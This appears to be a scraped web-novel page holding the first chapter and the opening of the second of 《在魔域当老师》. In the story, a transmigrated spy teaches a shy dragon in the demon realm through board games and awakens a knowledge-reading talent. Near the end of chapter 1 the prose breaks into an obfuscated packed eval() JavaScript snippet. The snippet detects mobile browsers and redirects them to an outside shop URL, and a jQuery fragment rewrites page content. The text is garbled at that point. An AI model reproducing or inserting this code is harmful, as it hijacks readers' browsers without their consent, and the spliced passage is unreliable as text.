《在魔域当老师》 1. 第1章 第一个学生 秦珊崩溃了:“我当老师?” 她一个普通大学生,当老师没问题,可问题是她的学生,都不是人。 没错,她穿书了。 穿到她刚看的一本仙侠小说里,书里有个女配名字和她一模一样。 在这本小说里,仙魔大战了很多年。 大家都知道,战争嘛,一般都会有奸细这种东西。 而秦珊,恰好就穿越到了那个奸细身上。 原秦珊,乃是修真界派去魔界的奸细。目的很纯粹,就是为了搞废魔界的‘天之骄子’们。 众所周知,魔界人才辈出,每一位青年杰俊,那都是一打十的超级高手,魔界主打一个优生优育,个顶个的都是高手,随随便便出来一个魔君,那都能吊着修真界一群修士打。 而修真界吧,能抗到现在,纯纯就是靠的人海战术。 人多力量大,每次来杀魔尊都是群殴,跟打BOSS一样。 后来,发生了一件大事。 守护了魔界数千年的魔尊,因为伤痛,陷入了沉睡,至此,修真界和魔界的平衡彻底被打破。修真界开始以压倒性的优势,往魔界进军。 要说为什么魔尊倒下,魔界会一片惨败。 主要还是这位魔尊大人太强大了。 之前提到过,魔界的人,都喜欢单打独斗,个个都是战斗好手。 魔尊,简直就是把魔族这个特性发挥到了极致。 每次和修真界战斗。 魔尊1V整个修真界。 剩下的魔族呢?完全就是事不关己高高挂起的态度。 “拜托,那可是魔尊。”在他们心里,是一座无法逾越的大山,在所有人的认知里,基本不可能有人能战胜他。 他就像是整个世界的珠穆朗玛峰,所有人都想战胜他,所有人都在挑战他。 修真界,几乎每间隔百年,就会出现一位【天之骄子】,他会成为所有修真者的信仰,他会带领所有人,来攻打魔界。 于是,战斗开始了。 一位天才少年打前锋,后面是前仆后继的支持者。 魔界赢没赢不重要,因为魔尊是真的酸了。 别人打架,身后一群人支持,偶尔还有什么‘师父’‘师祖’‘师尊’冲上来阴他两下。但凡别人受个伤,都有一群人拥护上去,彼此用心疼的眼神互相望着。 就他一个人,每一次出征,都是孤军奋战,身后的那群不怀好意的魔君们,说不定还盼望他早点死,好血斗出新的魔尊。 魔性如此,他本不该意外。 可是持续了多年的战斗,魔尊烦了。 他烦透了。 看着修真界那些人,一代代传承,又一个个死在他手里,又一个个猩红着双眼,扬言要给自己的爱人报仇雪恨,血洗魔族。 这样的戏码,每间隔百年,都会上演一次又一次。 他就像是一个伫立在人们心中的那座大山,永远有人想攀上山顶,人们失败了一次又一次,企图战胜他,却没有人在乎这座山,愿不愿意被人攀爬。 山累了,山走了。 魔尊离开了。 战斗,曾经是他最喜欢的事情,可是他不知道为什么最近,如此的厌倦这些争斗。 或许是因为看多了那些人类真情流露,崩溃大哭,或许是因为自己孤军奋战,守卫了魔族几千年,身后却空无一人的悲凉感。 总之,魔尊陷入了沉睡,不愿意再醒来。 守卫了魔界几千年的魔尊陷入沉睡,魔界慌了,群龙无首的魔君们开始了长达数十年的内斗。 可是兜兜转转几十年,却没有任何一位‘天才’能够以碾压的姿态站出来,统御整个魔族。 大家苦恼啊。 凭什么修真界每隔百年,就会有天才降临,能引领整个修真界,但是他们魔族数千年,才有了这么一位呢? 魔尊沉睡,没有继承者出现,魔族为了不陷入更恐怖的混乱,大家开始想办法了。 魔君们聚集在一块,想了一个,很传统的方法——学习。 学习修真界的办法。 魔界,要办学校了。 修真界经常出天才,是因为那些修真门派一个个的师们传承。 魔族从不将就什么师门,什么传承,他们全靠野蛮生长。 可现在情况不一样了,魔尊去当睡美人了,逼得几个魔君不得不开始成长学习了,他们决定也学着修真界的样子,在魔界大肆宣扬【师门传承】。 魔君们开始收徒弟了,魔界的学校也是办起来了。 身为魔界的第一个实验性的学校,秦珊非常荣幸的,担任了其中的教师岗位。 原女主是修真界的奸细,成功担任了教师岗位之后,开始疯狂嚯嚯魔界的这些‘天才’。 她教导的都是一些无用的东西,甚至故意让那些魔族走火入魔。 每天,不是在辱骂学生,就是在侮辱打压那些新生代魔族,折磨得那些魔族心智崩溃,有的年纪尚小的幼年体,甚至产生了极大的心里问题,长大了开始报复魔族社会。 就这样,原女主在教导了五年之后,被她的学生们联合起来暴揍一顿,直接废了根基,成为了一个残疾。 然而这还不是最惨的。 最惨的是,魔尊在五年后苏醒了。 他见到魔界被这群奸细们搅乱得翻天覆地,顿时气不打一处来,直接把魔界所有的奸细全部抓起来,凌迟处死。 尤其是她们这群当教师祸害过小朋友的奸细,死得格外的惨。 秦珊这个配角当时死的时候,还给了一个特写,活活封棺,万虫撕咬,被关在棺材里,慢慢的被虫子吃掉。 老天爷,仅仅是想象一下,就能让人绝望窒息的死法。 无论是虫子,还是令人窒息的封闭式黑暗关押,都是秦珊最恐惧的东西。 魔尊是懂折磨人的。 她不想死,绝对不想。 那么问题来了,她现在跑回修真界来得及吗? 呵呵,这就是问题的关键。 秦珊的师父,是一个十分仇视魔族的老登,为了向魔族复仇,他不惜一切代价,甚至让自己的徒弟堕魔,混入魔族当奸细,为了防止秦珊被魔族‘蛊惑’,他甚至还在她的体内设下了禁制,只要她有背叛的意图,就会当场死亡。 简单总结一下,她,活不成了。 脑袋里有个炸,弹,不打卡给师父汇报任务进度,随时随地会炸。 五年后,魔尊苏醒,她这个奸细,必死! OK,必死局面,她躺了,个屁! 她好不容易重活一回,怎么能这么轻易的就死了?? 这里可是修真界,一切皆有可能。 她想活着,她超想活着。 她还有好多梦想想要完成,她能量超足,她有太多的事情想要去做了,她想尝尝这里的美食,她想见见这里的美景,她想要见这个世界,她想要感受全新的,自己未曾体验过的一切。 她要热烈的,开心的生活下去。 这是她的梦想,也是她父母,曾经最后的梦想。 “干他娘的!”天有不测风云,她早已习惯。 既然问题已经出现,那她就准备好了,要开始解决问题。 秦珊坐了下来开始梳理自己脑海里,关于这本书的全部信息。 现在已知,这个世界有两大势力,修真界和魔界。 她身为一个小卡拉米,在这个全新的世界,必须选择自己的立场。 没错,第一件事,选择自己的阵营。 俗话说得好,墙头草,死的早。 在双方博弈中,墙头草往往最先成为被抛弃的棋子。因为双方都知道他不忠诚,随时可以用来当“替罪羊”或者交换的筹码。 一旦信任破产,她就会失去立身之本。 所以,她必须从现在开始,坚定的选择一个她认为,最容易获胜的一方,押下自己的赌注。 以生命为赌注,拼死一搏。 秦珊仔细的回忆了这本书的内容,整个世界,战力巅峰,毫无疑问的就是魔界的魔尊,直到整本书最后,哪怕魔界都已经乱成一锅浆糊了,那也是一锅完整的浆糊。 曾经那些被修真界打下来的领土,在魔尊苏醒之后,不到三天的时间,直接物归原主。 他就像是一个呆呆的王,守护着自己的领地,却浑然不知如何引领自己的子民。 他最擅长的,是杀戮,是战斗,他将这一切做到了极致,他守住了自己的领地,这就是他能为这个魔界做出的全部了。 至于混乱,乱着吧,反正在他眼里,都是打打闹闹,习惯就好。 领地在,性命在,那就没有问题。 以至于书中结尾,男主女主都大团圆结局,一年抱两了,修真界也依然没能打赢魔界。 看看,看看,这还用选吗? 她包站在魔尊这边的。 实力绝对的强大,哪怕最后把自己气到炸毛,也没有依仗自己的碾压级实力一气之下直接灭世,性格超稳定好吗? 站在实力强劲的一方,绝对是占据了绝对的优势的。 当时看书的时候,秦珊就已经偏心了这位可怜的魔尊。 实力强大的铁憨憨,睡一觉起来,被奸细把自己家搞得乌烟瘴气,新生代魔族对他仇视,魔君们对他心生怨怼,他一声不吭帮众人把失去的领土全部打回来了,浴血奋战而归,却依然面对的是领地里的一团乱麻。 外面的人是没打过来了,里面都快打成筛子了。 就魔族内斗成这种样子,他居然愣是一点都不管,主打一个尊重。 性格稳定,会尊重人,信誉良好,实力强大,话少,破事少,不会干预下属,不会布置奇怪的任务。 就这样一个魔尊,他性格好不好不重要,主要是太符合秦珊内心里完美老板的形象了。 虽然不发工资。 但是在这个战争频发的混乱修真界,工资还重要吗?有一个强大的靠山,一个稳定的生活环境,就是最好的工资。 只要她不搞事,不惹事,在魔界悄咪咪的生活,和大部分魔族搞好关系。 她能在这里混得风生水起。 唯一的麻烦只有一个——她脑袋里的毒。 她的师父,在她脑袋里种下的禁制。 她必须按时打卡,给师父汇报她的奸细工作任务,这样毒才不会爆。 最难受的是,五年之后,她必须回到修真界,去找她师父要解药,不然还是要爆。 她既然选择投诚魔族,就绝对不会回去了。 引人怀疑这种事情,是自寻死路,会给她带来无尽的麻烦。 她现在首要目标就两个:1,假装自己是奸细,伪装完成师父的任务。2,早到给自己解毒的办法。 只要活着,找到解毒的办法,她就能安全的活下来了。 然而秦珊还没开始准备思考下一步,一个声音就打破了她的全盘计划。 “秦珊,今日轮到你了。” 秦珊懵了:“轮到我什么?” “去当师傅啊。” 秦珊一拍脑门:“我靠。”差点忘了,原著里,她是个老师。 可是问题来了。 她对魔力,一窍不通啊......别说魔力了,就是自己身体里的仙力,她也一点儿不会用啊。 她要教别人什么? 上课第一天,被戳破身份的话,会不会死很惨? “师父,你到底打不打?” 秦珊还是太乐观了。 面对着一群五大三粗的恐怖非人类生物,她站在这群‘学生’面前,简直像是一个小虾米。 硕大的白虎,威武霸气的黑色,浑身冒着黑色烟雾缭绕的眼球。 这哪里是课堂,这简直就是奇形怪状动物园。 不,她太乐观了,这里甚至没有教室。 是她先入为主了,认为所有的教学都是有教室的,在魔界,教室?不存在的。 所谓的教学,也就是1对1的对战而已。 “师父,你到底和不和我打?”魔族讲究实战,他们坚定的认为,一切都是在战斗之中慢慢摸索出来的,战斗得越多,经验越多,也就越厉害。 秦珊头疼欲裂,她真的不会打架。 回想起原著里的内容,难怪书里说原主经常体罚学生,动不动就是非打即骂,甚至把人折磨得生不如死。 好家伙,原来原主往死里折腾学生,还没有被怀疑是有原因的。 教师合法殴打学生是吧?殴打就是教课的一部分,她悟了。 秦珊不会打架,自然不打。 她摆手:“我不会和你们对战的。” “切。”听到她这句话,顿时她眼前的学生就走了一半了。 是的,这还是一个灵活教学课堂。 学生们可以主动寻找自己的‘师父’。 这里根本不能称之为学校,这里更像是一个超大的演武场。 一群魔族站在演武场的战斗台上,展现出强大的实力,然后有人见到,觉得适合自己,就会主动上前拜师。 拜师成功的,师父就会一对一,甚至1V3,1V5的和自己的学生对战。 学生越多的师父,对战的学生也就越多。 秦珊看着这个混乱的战斗场地,被吵得头都要炸了。 老天爷,她算是知道魔尊那个性格是咋来的了,怎么所有魔族都是这个尿性。 实战出真知,能和高手过招,天天喂招,确实能够让自己的实力大幅度的增长。 可问题是,这真的能称之为授课吗? 这只是单方面的老师在不断的殴打学生吧。 难怪原著里魔族内战不断魔尊也不闻不问,合着魔尊以为这是厉害的魔族在给低等魔族上课是吧? 若魔族真是这种教学方式,她还教学个蛋!她直接卷铺盖走人好了! 她现在衣服兜兜里,揣着一张纸条,上面是她那个师傅给她的任务。 【找到一位叫苍爵的魔族天才,纳入门下,毁掉他的根基,每周汇报进度,不得有误。】 秦珊叹气。 很快就要到她汇报任务的时间点了,她必须抓紧时间。 找到一个叫苍爵的魔族不难,难的是怎么把这种天才纳入门下。 都说是天才了,天才怎么可能愿意拜她为师? 她真不会打架 秦珊也不管别人了,到处找人打听那个叫苍爵的人。 很快她就在人群里找到了那个人。 因为他确实有些‘知名度’了。 “苍爵啊?呵呵,那个废物,估计躲在哪个角落里当蘑菇呢吧。” “苍爵?你找他?去墙角啊~黑一点的地方,人少的地方,估计在哪儿蹲着呢。” 秦珊从这些人口中听到的情报可让她大吃一惊。 这个苍爵,似乎并不是她师傅口中的‘天才’。 那为什么修真界的人,这么想要这个少年毁掉呢? “每次苍爵和我们出战,他都躲在最后面,孬种,就知道发号施令,烦死人了,谁也不乐意带着他。” “那个废物都不参与战斗的,你找他没用,另外找人当你徒弟吧。” 但是这些话秦珊是越听越高兴,不愿意战斗好啊,不愿意战斗妙啊,她也不愿意战斗,要不然说缘分这东西好呢,她们注定是要成为师徒的料子啊。 秦珊根据那些人提供的情报,还真的让她在某个特别偏僻的角落里,找到了盘在阴影里的那个大家伙。 那是一条巨大的蛟龙。 乌黑发亮的鳞片透露出危险的光,龙族身上的龙威,仅仅是靠近就能感受到自己心脏怦怦乱跳的恐怖趋势。 这是,“苍爵?” 那条黑龙缓缓的睁开了一双漠然的眼睛,他把自己盘得更紧了。 自闭小孩。 秦珊走到他的大脑袋边上,选择直球,“你愿意拜我为师吗?” 直接说明自己的来意,不让他瞎想,是最好的选择。 苍爵好奇的看了秦珊一眼:“不了。” 他不想战斗,他不喜欢血腥,臭气,腐烂,到处都是恶心的味道,让他难受。 人人都说龙族是天生的战士,可是他确实整个家族里最废物的那条龙。 他的天赋,与战斗毫不相关,他从一出生就一直被父兄嫌弃打压,他知道了,他是一个废物,他丢了家族的脸面,所以他学会了躲起来,躲起来,不被人发现,就不会给家里人丢脸了。 他不希望别人发现他,包括眼前这个女子。 苍爵闭上了眼:“我不拜师。” 来这里,也是他父母逼他来的。 为了,能让他变强。 呵呵,可是这又有什么意义呢?不还是要打架。 秦珊温柔的看着他道:“和我学习,不必打架,不必战斗,你只需要继续坐在这里,听我给你讲话就好了,很简单的。真的不试一试吗?只是试一试,不会有什么损失的,反正如果你不喜欢,以后还能换一个师傅对不对?” 魔族没有修真界那么严苛的师门规矩,他们信奉强者为尊,所以当徒弟成长起来之后,换师傅的事情也是被默许的。 听到她这么多优待的条件,苍爵有些不可思议:“为什么?” 为什么一定要收他当徒弟。 秦珊真诚的道:“因为,在我眼中,你是万一挑一的绝世天才。我很需要你,我想证明我的教学实力,我想让所有人都看到,在我这种完全不同的教育体系下,你可以成长成一个怎样惊才绝艳的苍龙。” 她每说一句话,苍爵埋在身子里的脑袋就抬起来一分。 她好会说哦。 她说的每一句话,都好动听。 她不是为了拯救自己,她也是想要证明自己的实力。 他们都是不被认可的人,都是被排挤在外的人,他们是同类人。 秦珊将手放在了他的鳞片上,感受那刺骨的冰寒:“你愿意帮我一把吗?陪我一起努力一段,就算失败了,也不会有更坏的结果了。” 小黑龙一下子就被秦珊抓住了小小的心脏。 哇啊哦,帮她啊?好吧,他不是去战斗,不是去打架,也不是为了父母去努力变强,他只是好心的,想要帮一帮这个和他同病相怜的可怜姑娘。 小黑龙默默的点了点头:“那,那好吧。” 秦珊:有徒弟了。 这是她的第一个徒弟,一条黑龙。 “听说,你的天赋技能很特殊,能和我聊聊吗?” 秦珊想不明白,为什么修真界的人,这么迫不及待的让她废掉这个叫苍爵的魔族。 苍爵听到‘天赋技能’几个字,眼神顿时黯淡了下去。 别看小龙族块头挺大个的,其实他还未成年。眼神躲躲闪闪,完全一个自闭小孩的模样,看着就让秦珊有些心疼。 可他还是开口说了出来,“他们......给我的天赋取了个名字,叫,闺中密语。” 闺中密语? 秦珊不明白:“什么意思?” 苍爵低垂着眼,:“那是他们给我取的名字,其实我自己给我的天赋取名叫,叫,叫灵犀领域。” 他似乎羞于启齿,又似乎第一次对外人说出这个名字。 见秦珊一幅好奇的样子,完全没有取笑他的样子,苍爵这才胆子大了一点,继续说道:“我的天赋领域,能把所有人的心意联通,大家能在我的领域里交谈,是的,只能交谈。” 没有任何攻击能力,甚至不能保护队友,保护大家。 他的领域展开后,链接所有的队友,然后......大家就只是能通过他的领域聊天而已,是的,仅仅只能聊天。 鸡肋,可笑。 聊天,呵呵,这就是他的能力。 秦珊听到这个的时候,猛的站了起来,“我擦!” 这他妈,互联网??无敌了! 生物神经网络版本的互联网啊! 现在苍爵还是个孩子,魔族的天赋能力相当恐怖,和人类完全不同,只要完全跟着自己的天赋走,几乎是可以随着时间的增长无限成长,若是让苍爵成长起来,他一个人链接全魔族,乃至整个世界,直接全世界覆盖互联网,尼玛的,这不无敌? 这简直就是战争大杀器。 信息战对于战争的重要性无需多言。 难怪修真界急了,想法设法要让她弄残这个苍爵,若是苍爵振作起来,魔族不再是一盘散沙,修真界直接凉凉。 秦珊忍不住感叹:“苍爵,你这个天赋,太厉害了,果然我没看错,你就是我眼中的绝世天才啊!!” 她是真的高兴,她高兴疯了。 互联网,互联网啊!她能把这个孩子培养起来,魔族里她也能上网冲浪了! 只要有了互联网,知识的互换,在线教育,魔界百科,失传技艺复苏,等等等等,互联网能带来的影响可不仅仅是战争,只要利用好,这能直接让魔界改天换地,直接进行一个社会大跃迁。 这尼玛,“你简直就是魔族的希望。” 看着秦珊眼底冒出的小星星,她简直快燃烧起来了。 苍爵莫名往后退了一步,“师父,你,你不用这么安慰我。” 他?魔族希望?别逗了。他这个能力能干点什么?让大家聊天吗?他们魔族其实不喜欢聊天。 秦珊按压下了自己火热的心情,笑嘻嘻的看着他,“苍爵,师父,教你下棋吧。” 苍爵:??? “什么?” 苍爵知道棋,那是凡人的游戏,“师父,我,我已经成年了,不用玩游戏了。” 秦珊坐在了地上,温柔的看着他,“谁说这是玩游戏了,这是上课。” 她一脸严肃的陈述道:“我是要培养你的,信息处理、计算与推演、战略战术思维、心里博弈,以及资源管理能力。” 苍爵被她这么一大串的顺口溜给惊呆了。 他还是第一次听到这么多有趣又陌生的词汇,虽然不明白其中的意思,但是他隐约能察觉到一点苗头,不自觉的,心跳就漏了两拍。 “那,那是什么能力?” 秦珊自信的看着他:“那是,属于你的战场。” 棋盘,亦是战场。 秦珊:“是,你确实没有强大的武器,可你却能拥有制定规则的力量。当敌人还在思考如何挥剑时,你在思考如何编织他的命运。记住,真正的强大,从不在于粉碎对手的兵器,而在于在他举起兵器之前,就已注定他的败局。” 苍爵眼神点亮了。 “以天下为棋局,以众生为子,你就是那唯一的执棋者,这样的战场,你还觉得自己弱小吗?” 苍爵被秦珊说得热血沸腾:“可是,可是我这个能力,真的可以吗?” 他从不知道,原来自己的能力,还能这么厉害吗? 秦珊笑了,“你绝对可以,你不会没关系,师父教你。” 少年,你太小看互联网的力量了,单凭你这个天赋,你就是无敌的。 围棋象棋五子棋,孙子兵法,思维逻辑训练5000题、魔方数独、竞技游戏,□□、心理学,但凡是她脑袋里能想到的,全都教给他。 光是这些课程,就够她教几年了。 再多结合一下实战,他成长起来妥妥的。 孩子,虽然师父不会战斗,但是咱两专业对口上了呀! 秦珊已经开始美美的备课了。 她和苍爵的一举一动,也全都被魔君看在了眼里。 “苍君,你那个小儿子......居然肯跟着师傅学如何战斗了?” 悬停在云端之上的苍龙遥望着脚下的浩瀚疆土,九大魔君之一的苍澜君时时刻刻都关注着他领地里发生的一切,尤其是他的孩子。 苍澜君也很意外,“是吗?” 他都快放弃了。 他的孩子,各个都逞凶斗狠,战斗起来威武霸气,唯独这个小儿子,是他最心疼也最在意的孩子,从小就被兄弟们欺负,哪怕他偶尔照顾一下,反而会换来那些孩子们更猛的反扑,渐渐地,他的性格也越来越怯懦,变得不愿意战斗,不愿意反抗。 战斗确实是进步最快的方式。 可若是那人不知道反抗呢? 没有了斗志,这才是坠落的开端。 他不反抗,任何教育,都会变成一场惨无人道的殴打。 苍澜君是真的拿着这个孩子没办法了。 他自己教不会,只能请各路魔君都来想办法,可奈何他儿子就是个属乌龟的,岿然不动。无论师傅是谁,用尽方法,可他完全没有进步的欲望。 大家都快放弃了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365197|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想不到困扰了他这么久的问题,居然在今天看到了一丝转折。 “这个女子的言论,有意思。” 天下为棋局,众生为子,她是想教他儿子谋略。 “可惜了。”苍澜君长叹一口气。 “小女娃有心了。”因材施教,她确是个好师父,不过还是可惜了,“眼界太小,不知天高地厚。” 若她曾见识过魔尊风采,便会理解,什么叫高不可攀。 任何谋略,在绝对的实力面前,都苍白如纸。 “可惜,可惜了。” 秦珊用小石子简单的在地上画了一个棋盘,“就从最简单的五子棋开始吧。” 不用任何的装备,在地面上就能玩的五子棋,由于没有备课,今天的课堂只能将就一下了,顺便还能探一下这个苍爵的底子,看看他脑子怎么样,万一他是一个对益智类游戏毫无兴趣的家伙,那她搞不好真的得另外想办法了。 好在游戏进行得相当顺利。 苍爵第一次接触这样的游戏,在魔族这种战斗=游戏的毫无娱乐节目的环境里,他这种不喜欢战斗的怪胎,一生下来几乎就不知道什么叫做‘玩’。 兄弟们互相打架围殴叫玩儿,可是他不喜欢那样暴力的方式,他天性就比较文静。 可是龙族的好强基因又深入骨髓,他也想要赢,他也想要成功,却不想用暴力这种方式。 而秦珊给他提供的这个游戏,简直戳在了他的心窝上。 竞技类游戏,玩的就是一个输赢。 刚开始,学会了简单的规则之后,他输了两次,就开始越来越上头了:“再来!” 他就不相信了,他想赢! 他想要战胜面前这个敌人。 这种完美契合了自己基因的欲望一下冲上自己的大脑,他渴望战斗,渴望在棋盘上战胜敌人的欲望达到了巅峰。他的大脑开始飞速运转,浑身的血液都在沸腾。 好奇怪,明明他没有和人打架,可是他非常清晰的感知到,他感受到了战斗的爽感。 现在他终于可以理解他的哥哥们为什么如此的喜欢一场酣畅淋漓的战斗了。 他终于理解那些魔族,为什么喜欢一次次的战斗,一次次被打趴下之后,还迫不及待往前冲了。 真的,太上头了!! 越输越想赢!越输越想再来一次! 他每一次战败,大脑里都会产生一个全新的想法,就像是脑袋被点亮了一样,豁然开朗,“这个方法一定能赢。”他迫不及待的想要印证自己的猜想,迫不及待的进入下一把对局。 输了也没关系,他又想到一个有趣的打法。 “这次一定行!”又输了,他只会狂拍大腿,“哎呀,我怎么没想到?” 就差一点,每次都就差一点。 再加上秦珊心理学拉满了,她不是让苍爵一直输的。 基本上每让苍爵输个两三把,她总是会让苍爵赢1次,匹配机制算是被她玩儿明白了。 仅仅半天的时间,苍爵立刻就对棋局上瘾了,玩儿得不亦乐乎,直到黑暗降临。 秦珊的眼睛无法夜视,她适当的打断了这场授课:“好了,今天就先学到这里吧。” 可算是要累死她了。 玩了一整天的五子棋了,这货还越玩儿越兴奋了。 哪怕秦珊不让着他了,直接杀得他落花流水,一连输了十几把,他却一点儿退却的意思都没有,满眼写着再来一次的激动。 秦珊是真扛不住了:“好了好了,今天的课程结束了,回家吧,等下次上课。” “什么?”苍爵失落的声音委屈极了,他丝毫没有意识到,时间过得如此快,在他看来,不过一眨眼,天就黑了。 “师父,师父啊,你就再陪我练一局吧,求你了。”小黑龙撒娇,威力有点猛,秦珊经不住这种真切的恳求,只好又和他玩儿了几局。 直到深夜,秦珊才拖着疲惫的身体回家了。 这尼玛,教学真累。 她刚一头瘫软在床榻上,忽然她的窗子就被‘哒哒’的敲响了两下。 只见一只金色的千纸鹤,不请自入,轻轻的从窗子缝隙滑了进来,轻飘飘的飞到了秦珊的脑袋上,变成了一张信封。 秦珊麻了。 这就是领导发消息来催工作进度的窒息感吗? 她拿起那封信,上面果然是她那个师傅清泉道人的亲切问候:【进展如何】 秦珊无语。 她无奈的拿起毛笔,在纸上写下今日工作进度【已寻到苍爵,纳入门下】 她刚收起笔墨,小千纸鹤很自觉的把自己折好,轻轻煽动自己的翅膀又飞走了。 静悄悄的,没有闹出半点动静,比鸽子安静多了。 飞鸽传书,传统,但有效。 交代了任务进度,秦珊总数是放松下来了,怀疑危机短暂解除,她现在总算是可以开始准备自己的事情了。 要说这个修仙就是有一个好处,那就是可以正大光明的熬夜了。 她这具身体的体质是真的好,虽然心累,但是身体的精力明显不比凡人,她仅仅只是休息了片刻,立刻就来了精神。 深更半夜,正是熬夜备课的好时机。 没错,她要备课。 她是认真要干好这个行业的,俗话说的好——教,就是最好的学。 她想要变强,成为一个老师,然后不断的熟悉掌握知识,再把这些新鲜的知识教导出去,还有比这个更有效率的学习方式吗? 她明天想教什么,全看她今天想学什么,主动权完全掌握在自己手里,非常的完美。 现在,就只有一个问题了。 她要重头开始,修习魔功。 原著里,原主不愿意修炼魔功,那是因为她一门心思就想着自己那个‘大师兄’,想着报效师门,原主内心深处是非常恶心魔族的一切的,所以她不会触碰魔族的一切。 但是秦珊不一样啊。 她对魔族的所谓【天赋能力】十分感兴趣。 据说,每个生物,天生下来,就应该在某个方面具备某种‘天赋’,修习了魔功之后,就能将这种天赋能力不断的扩大,并且觉醒,然后自身能力以指数型增长得飞快。 这也就是为什么魔族的人非常看重天赋。 出生就代表着一个魔族的上限,天赋绝佳者,就是能一日千里,修为涨得飞快。 秦珊很好奇,她的天赋到底是什么。 最基础的魔功,其实就是逆转周天运行功法,和修真界的修行方式完全相反,稍不注意就容易走火入魔。 但是一旦成功觉醒了自己的天赋能力,那就是另外一番天地了。 锻炼自己的天赋,至于你自己的天赋能成长到什么地步,全靠个人造化。 现在秦珊理解为什么在魔域展开普遍教育这么困难了。 因为人类那一套适应所有学生的教学方案完全不符合魔域的实际情况啊。 魔族每个人觉醒的能力不同,需要培养的天赋也全都是天差地别。 很难做到一本书适用所有学生的情况。 书籍传承,在魔域不流行,看来也是有原因的。 既然没有书籍,那她就自己研究,看看自己到底是什么天赋。 秦珊尝试着感受自己身体的变化,逆转自己体内的那股看不见摸不着的‘仙气’。 这种感觉很奇妙,就像是曾经她接触过的冥想一般。 她感受自己的身体,感受那股气流轻轻的流淌,顺着自己的皮肤,一点点往下,它们就像是温润的溪水一般,顺流而下,从自己的头皮到眼睛,流淌过自己的胸口,腹部,身体变得无比的放松,舒畅。 这就是修仙的感觉吗?感觉也不是很难。 秦珊有了自信,就开始逆转这股仙气,从脚底板开始,渐渐往上。 直到仙气流遍全身,这算是一个周天。 她就像是一尊石像,坐在床榻上,安静的享受着此时此刻的宁静。 她的内心无比平静,空白的像是一张白纸。 也不知道这样过了多久,她没有睡着,只是思绪陷入了冥想之中,平静的宛若一汪潭水。 平静的水面,没有半分杂念,只是一片宁静。 就在这深不见底的潭水中央,她脑海之中,忽然冒出来一个念头。 【我真的好想获得好多好多知识】 这不是杂念,更像是在水潭深处终于被抽出来的一股执念。 一念成佛,一念成魔。 执念起,魔功成。 秦珊再次睁开双眼,眼珠子已经变成了幽暗晦暗的湛蓝色,宛若宝石一般的眼睛,当真有了妖异之感。 她知道,她觉醒了。 觉醒了天赋【眼见为识】。 这个天赋她熟,原著里这是魔族‘独眼魔’特有的血脉天赋,作用就是‘识物’。 无论她是否认识这个物体,只要看一眼,就能马上知晓这个物品的名字、用途基本简介等等,号称魔界百度。 眼见为识,认识的识。 这个天赋也是属于魔界里最鸡肋的天赋了,许多独眼魔只要稍微努力,大部分都可以觉醒同款,在魔界并不稀奇。 毕竟,魔族并不需要‘鉴定’热门生物或者物品这种技能。 “最低等的天赋啊?”罢了,低级就低级吧,对她而言其实还挺实用的。 她缓缓睁开眼。 看向桌子,桌子上方飘着一行字【木桌】 她看着床,床上也飘着一行字【一张暗藏玄机的石床】 “哟。”这眼睛挺好使哈。 她迫不及待的穿上外披,往门外走去,她想要去见更多的东西。 门外的一切都变得格外的清晰,即便是暗无天日的黑夜之中,她依然能清晰的看到那些漂浮在物品或者生物上方的一个个文字。 【濒死的火金姑】、【枯萎的木兰花】【健康的钱水壶】 但凡是她能看见的,即便是她叫不出名字,她都可以知道那是什么东西。 这就是独眼魔的血脉天赋能力吗? 不,或许并没有这么简单。 秦珊走到了树丛边上,缓缓蹲下,走到了那个【濒死的火金姑】旁边,她仔细看一下,“这不就是萤火虫吗?” 她轻轻用手捞起了草丛里那只萤火虫,然后将全部的注意力全都放在这只小虫子身上,细细的的观察它身上的每一处细节。 她看到了它的前翅,后足,发光器、复眼,随着她观察得越来越细致,萤火虫身上冒出来的词汇越来越多。 最后那些词汇交汇在一起变成了一串长长的介绍。 “萤火虫,肉食种,幼时喜食蜗牛、蚯蚓、贝类。其头部针形鄂片可注入毒素,溶化蜗牛血肉,以供吸食。” 接着她又只专注于毒素这一块,她好奇,这种毒素是如何构成的,她能否复刻。 是的,不是鉴宝能力,而是获取知识的能力。 在秦珊眼中,这是一个最强大的,获取知识的能力。 萤火虫毒素的构成,原理,只要她想,或许她都能看得见,这样的能力若是能给那些科学家,那简直就是牛她娘给牛开门,牛到家了。 洞悉原理,复刻,还难吗? 只可惜,这天赋只能研究她眼睛看得到的东西,不能真的像百度一样联网搜索,不然那才是真的绝杀。 秦珊一晚上解剖了五六只萤火虫,又是做对比实验,又是观察记录的。 总算是让她研究明白了。 她想研究的化尸水没成功,却让她找到了一种制造‘冷光灯’的办法。 她总结了一下经验,萤火虫幼虫才会吸食蜗牛血肉,她这次研究化尸水失败,想必是没有见过幼虫的捕食过程。 眼见为识,她若是能见到猎杀过程,想必化尸水研究必然有重大突破。 反观这个‘冷光灯’的制作方法,她已经有了非常清晰和自信的想法。 她知道需要什么材料,需要什么步骤,接下来就是在魔族境内,收集这些材料罢了。 收集材料啊。 她还需要一张完整的魔界地图才好。 可是魔界地图要怎么才能自然的获取呢?她不认为这里有商店会卖地图。 “有了。”徒弟是干啥使的。 好徒弟的作用这不就来了吗? 2. 第2章炼器大师 整整一晚上,她通宵达旦,一刻不停的研究了许多东西,只看得双眼猩红。 也幸亏是修仙者要不然她这种肝法,第二天就别想去上课了。 第二天,秦珊顶着一个黑眼圈就去给苍爵上课了。 她与苍爵约的是清晨,天刚微微亮,空气之中还带着几分凉意,演武场最边缘的一个角落里,一个黑袍少年盘腿坐在树荫下闭目养神。 他虽已化形,额头却依然保留了一对黑色圆润的龙角,在他的头顶有一片落叶,也不知他在此处已经坐了多久。 秦珊侧着头去看他的脸,他的眼尾有一道红黑色的纹身,又像是鳞片,配合上他那张清冷的脸,魅惑之感浑然天成。 秦珊看了看少年头顶的文字,只见大大的两个字【苍爵】。 她笑了,“苍爵?” 苍爵睁开双眸,那双红色的瞳孔依然有些骇人,让人不敢直视,可是他的声线却温和有礼,甚至依然是有些局促,“师父。” 